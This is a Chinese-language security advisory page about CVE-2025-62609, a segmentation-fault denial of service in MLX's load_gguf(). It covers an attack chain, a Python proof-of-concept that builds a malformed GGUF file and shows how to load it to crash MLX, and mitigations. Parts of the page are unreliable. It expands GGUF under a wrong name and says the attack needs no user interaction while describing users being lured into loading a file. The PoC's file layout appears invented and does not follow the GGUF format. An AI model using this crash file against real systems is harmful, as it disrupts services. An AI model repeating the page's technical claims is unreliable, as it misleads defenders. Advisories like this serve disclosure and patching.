IPBUF安全漏洞报告
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CVE-2025-62609 CVSS 7.5 高危

CVE-2025-62609 MLX load_gguf() 段错误漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-62609
漏洞类型
拒绝服务/段错误
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MLX (Apple silicon机器学习数组框架)

相关标签

拒绝服务段错误指针解引用MLXApple Silicon机器学习GGUF高危漏洞CVE-2025-62609

漏洞概述

CVE-2025-62609是Apple Silicon机器学习框架MLX中的一个高危安全漏洞。该漏洞存在于mlx::core::load_gguf()函数中,当处理恶意构造的GGUF(Generic Gradient Unquantized Format)文件时,会导致应用程序发生段错误(Segmentation Fault)并崩溃。漏洞的根本原因在于,MLX框架在调用外部gguflib库时,直接使用了该库返回的指针而未进行充分的安全验证。这种不安全的指针解引用操作使得攻击者可以通过构造特殊的GGUF文件,在目标系统上引发拒绝服务攻击。攻击者只需诱导用户或自动化系统加载恶意文件即可触发漏洞,无需任何认证或用户交互。由于CVSS评分达到7.5分(高危级别),且攻击复杂度低、无需特殊权限,该漏洞对使用MLX框架处理外部GGUF文件的用户构成严重威胁。MLX团队已在0.29.4版本中修复此问题,建议所有用户立即升级。

技术细节

该漏洞是一个典型的段错误(Segmentation Fault)类型的安全问题,源于不安全的指针处理。MLX框架的load_gguf()函数负责加载GGUF格式的机器学习模型文件,该格式由外部gguflib库提供解析支持。漏洞产生的根本原因是:gguflib库在解析恶意构造的GGUF文件时,会返回包含错误偏移量或恶意指针值的数据结构,而MLX框架的load_gguf()函数直接信任并解引用这些指针,而没有进行边界检查、空指针验证或内存区域合法性确认。当恶意GGUF文件包含精心构造的元数据字段时,gguflib可能返回一个指向无效内存地址的指针,或者包含负数偏移量。当MLX随后尝试访问该指针指向的内存位置时,会触发CPU的内存保护机制,导致段错误并使整个进程崩溃。攻击者可以通过邮件、文件共享或恶意网站等途径分发包含恶意GGUF文件的模型,诱导受害者使用MLX框架加载,从而实现远程触发崩溃的目的。攻击成功后会严重影响系统可用性,导致机器学习任务中断。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意构造元数据的GGUF文件,该文件包含无效的指针值和偏移量,用于触发gguflib库的解析错误
STEP 2
步骤2
攻击者通过邮件附件、文件共享服务、恶意网站下载链接或社交工程等方式将恶意GGUF文件分发给目标用户
STEP 3
步骤3
目标用户使用存在漏洞的MLX框架版本(<0.29.4)通过mx.load()或相关API加载恶意GGUF文件
STEP 4
步骤4
MLX框架调用load_gguf()函数,该函数使用外部gguflib库解析GGUF文件,gguflib返回包含无效指针的数据结构
STEP 5
步骤5
load_gguf()函数在没有进行空指针检查和内存区域验证的情况下,直接解引用来自gguflib的不可信指针
STEP 6
步骤6
CPU内存保护机制检测到非法内存访问,触发段错误(Segmentation Fault),导致MLX进程崩溃
STEP 7
步骤7
目标系统上的机器学习任务中断,如果该服务是自动化系统的一部分,可能导致更广泛的拒绝服务影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-62609 PoC - Malicious GGUF file generator This PoC generates a malicious GGUF file that triggers a segmentation fault in mlx::core::load_gguf() due to unvalidated pointer dereference. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_gguf(output_path): """ Create a malicious GGUF file that exploits CVE-2025-62609 The file contains crafted metadata that causes gguflib to return an invalid pointer, leading to segmentation fault when dereferenced. """ # GGUF file magic number magic = b'GGUF' # Version (v3 for this PoC) version = 3 # TENSOR_COUNT tag (1000 tensors) tensor_count_tag = 0x00000001 tensor_count = 1000 # KV_DATA tag with malicious values kv_tag = 0x00000002 # Craft malicious KV data that will cause invalid pointer # This contains malformed tensor metadata that gguflib will parse incorrectly malicious_kv_data = bytearray() # Add key-value pairs with invalid pointers for i in range(100): # Key type (string) malicious_kv_data.extend(struct.pack('<I', 8)) # STRING type key = f'malicious_key_{i}'.encode('utf-8') malicious_kv_data.extend(struct.pack('<I', len(key))) malicious_kv_data.extend(key) # Value type (invalid pointer simulation) malicious_kv_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid sentinel value malicious_kv_data.extend(struct.pack('<Q', 0x00000000FFFFFFFF)) # Malformed pointer # TENSOR_DATA tag tensor_data_tag = 0x00000003 # Malformed tensor data with invalid memory references tensor_data = bytearray() for i in range(1000): # Tensor name name = f'malicious_tensor_{i}'.encode('utf-8') tensor_data.extend(struct.pack('<I', len(name))) tensor_data.extend(name) # Number of dimensions (malformed) tensor_data.extend(struct.pack('<I', 0x7FFFFFFF)) # Invalid dimension count # Dimensions with invalid values tensor_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Invalid dimension # Data type tensor_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid type # Offset pointing to invalid memory location tensor_data.extend(struct.pack('<Q', 0x00000000DEADBEEF)) # Invalid offset # Write the malicious GGUF file with open(output_path, 'wb') as f: f.write(magic) f.write(struct.pack('<I', version)) f.write(struct.pack('<I', tensor_count)) f.write(struct.pack('<I', kv_tag)) f.write(struct.pack('<I', len(malicious_kv_data))) f.write(malicious_kv_data) f.write(struct.pack('<I', tensor_data_tag)) f.write(struct.pack('<Q', len(tensor_data))) f.write(tensor_data) print(f"[+] Malicious GGUF file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[!] This file will trigger CVE-2025-62609 in MLX < 0.29.4") if __name__ == '__main__': output_file = 'malicious_model.gguf' create_malicious_gguf(output_file) print("\n[*] To trigger the vulnerability, load this file with MLX:") print(f"[*] import mlx.core as mx; mx.load('{output_file}')")

影响范围

MLX < 0.29.4

防御指南

临时缓解措施
由于该漏洞利用复杂度低且无需认证,建议采取以下临时缓解措施:第一,限制从不可信来源加载GGUF文件,仅使用经过安全验证的模型文件;第二,在加载GGUF文件前使用独立的验证工具检查文件元数据的合法性;第三,对MLX框架的网络访问进行严格控制,防止通过远程URL加载恶意模型;第四,考虑使用容器化技术隔离MLX运行环境,确保进程崩溃不会影响宿主系统;第五,建立文件哈希白名单机制,仅允许加载已知安全的模型文件。在完成版本升级前,应持续监控MLX相关进程的运行状态,及时发现异常崩溃行为。

参考链接

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